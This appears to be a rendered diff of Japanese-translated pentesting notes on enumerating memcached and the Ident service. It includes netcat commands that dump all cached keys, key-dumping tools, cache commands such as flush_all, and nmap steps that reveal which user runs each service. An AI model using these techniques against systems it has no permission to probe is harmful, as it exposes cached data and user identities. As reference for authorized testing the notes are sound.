echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1 echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28 echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
@ -118,13 +118,13 @@ echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce
Table [from here](https://lzone.de/blog). Table [from here](https://lzone.de/blog).
| プログラミング言語 | ツール | 機能 | | | | プログラミング言語 | ツール | 機能 | | |
| --------------------- | --------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------- | ------- | | --------------------- | --------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------- |
| PHP | [simple script](http://snipt.org/xtP) | キー名を表示します。 | | | | PHP | [simple script](http://snipt.org/xtP) | キー名を表示します。 | | |
| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | キーと値を表示します。 | | | | Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | キーと値を表示します。 | | |
| Ruby | [simple script](https://gist.github.com/1365005) | キー名を表示します。 | | | | Ruby | [simple script](https://gist.github.com/1365005) | キー名を表示します。 | | |
| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | CPANモジュールのツール | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) | | Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | CPANモジュールのツール | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) |
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | キーのダンプも可能なMemcacheモニタリングGUI | | | | PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | キーのダンプも可能なMemcacheモニタリングGUI | | |
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **memcachedプロセスをフリーズさせます!!!** 本番環境で使用する際は注意してください。それでも使用することで1MBの制限を回避し、**すべての**キーをダンプできます。 | | | | libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **memcachedプロセスをフリーズさせます!!!** 本番環境で使用する際は注意してください。それでも使用することで1MBの制限を回避し、**すべての**キーをダンプできます。 | | |
## トラブルシューティング <a href="#troubleshooting" id="troubleshooting"></a> ## トラブルシューティング <a href="#troubleshooting" id="troubleshooting"></a>
@ -135,7 +135,7 @@ memcached 1.4以前では、デフォルトの最大スラブサイズのため
### タイムアウトを30日以上に設定しないでください <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a> ### タイムアウトを30日以上に設定しないでください <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
許可されている最大値より大きなタイムアウトでキーを「設定」または「追加」しようとすると、memcachedはその値をUnixタイムスタンプとして扱うため、期待通りの結果が得られない場合があります。また、タイムスタンプが過去の場合、何も行われません。コマンドは静かに失敗します。 許可された最大値を超えるタイムアウトでキーを「設定」または「追加」しようとすると、memcachedはその値をUnixタイムスタンプとして扱うため、期待通りの結果が得られない場合があります。また、タイムスタンプが過去の場合、何も行われません。コマンドは静かに失敗します。
したがって、最大の寿命を使用したい場合は、2592000を指定してください。例: したがって、最大の寿命を使用したい場合は、2592000を指定してください。例:
``` ```

View File

@ -19,8 +19,8 @@
| replace | 既存のキーを上書きします | `replace key 0 60 5` | | replace | 既存のキーを上書きします | `replace key 0 60 5` |
| append | 既存のキーにデータを追加します | `append key 0 60 15` | | append | 既存のキーにデータを追加します | `append key 0 60 15` |
| prepend | 既存のキーの前にデータを追加します | `prepend key 0 60 15` | | prepend | 既存のキーの前にデータを追加します | `prepend key 0 60 15` |
| incr | 指定された数値だけ数値キーの値を増加させます | `incr mykey 2` | | incr | 数値キーの値を指定した数だけ増加させます | `incr mykey 2` |
| decr | 指定された数値だけ数値キーの値を減少させます | `decr mykey 5` | | decr | 数値キーの値を指定した数だけ減少させます | `decr mykey 5` |
| delete | 既存のキーを削除します | `delete mykey` | | delete | 既存のキーを削除します | `delete mykey` |
| flush_all | すべてのアイテムを即座に無効にします | `flush_all` | | flush_all | すべてのアイテムを即座に無効にします | `flush_all` |
| flush_all | n秒後にすべてのアイテムを無効にします | `flush_all 900` | | flush_all | n秒後にすべてのアイテムを無効にします | `flush_all 900` |

View File

@ -6,7 +6,7 @@
**Identプロトコル**は、**インターネット**上で**TCP接続**を特定のユーザーに関連付けるために使用されます。元々は**ネットワーク管理**と**セキュリティ**を支援するために設計されており、サーバーがポート113でクライアントに問い合わせを行い、特定のTCP接続のユーザーに関する情報を要求することによって機能します。 **Identプロトコル**は、**インターネット**上で**TCP接続**を特定のユーザーに関連付けるために使用されます。元々は**ネットワーク管理**と**セキュリティ**を支援するために設計されており、サーバーがポート113でクライアントに問い合わせを行い、特定のTCP接続のユーザーに関する情報を要求することによって機能します。
しかし、現代のプライバシーに関する懸念や悪用の可能性から、その使用は減少しています。なぜなら、意図せずにユーザー情報を不正な第三者に明らかにする可能性があるからです。これらのリスクを軽減するために、暗号化された接続や厳格なアクセス制御などの強化されたセキュリティ対策が推奨されます。 しかし、現代のプライバシーに関する懸念や悪用の可能性から、その使用は減少しています。なぜなら、意図せずにユーザー情報を不正な第三者に明らかにする可能性があるからです。これらのリスクを軽減するために、暗号化された接続や厳格なアクセス制御などの強化されたセキュリティ対策が推奨されます。
**デフォルトポート:** 113 **デフォルトポート:** 113
``` ```
@ -17,21 +17,21 @@ PORT STATE SERVICE
### **手動 - ユーザーを取得/サービスを特定する** ### **手動 - ユーザーを取得/サービスを特定する**
マシンがサービス ident と samba (445) を実行しており、ポート 43218 を使用して samba に接続している場合、samba サービスを実行しているユーザーを取得するには、次のようにします: マシンがサービス ident と samba (445) を実行しており、ポート 43218 を使用して samba に接続している場合、samba サービスを実行しているユーザーを取得することができます:
![](<../images/image (843).png>) ![](<../images/image (843).png>)
サービスに接続するときに単に Enter を押すと サービスに接続するときに単に Enter を押すと:
![](<../images/image (159).png>) ![](<../images/image (159).png>)
他のエラー 他のエラー:
![](<../images/image (359).png>) ![](<../images/image (359).png>)
### Nmap ### Nmap
デフォルトでは\`-sC\`\`、nmap はすべての実行中のポートのすべてのユーザーを特定します: デフォルトでは (\`-sC\`\`) nmap はすべての実行中のポートのすべてのユーザーを特定します:
``` ```
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0) 22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)

Some files were not shown because too many files have changed in this diff Show More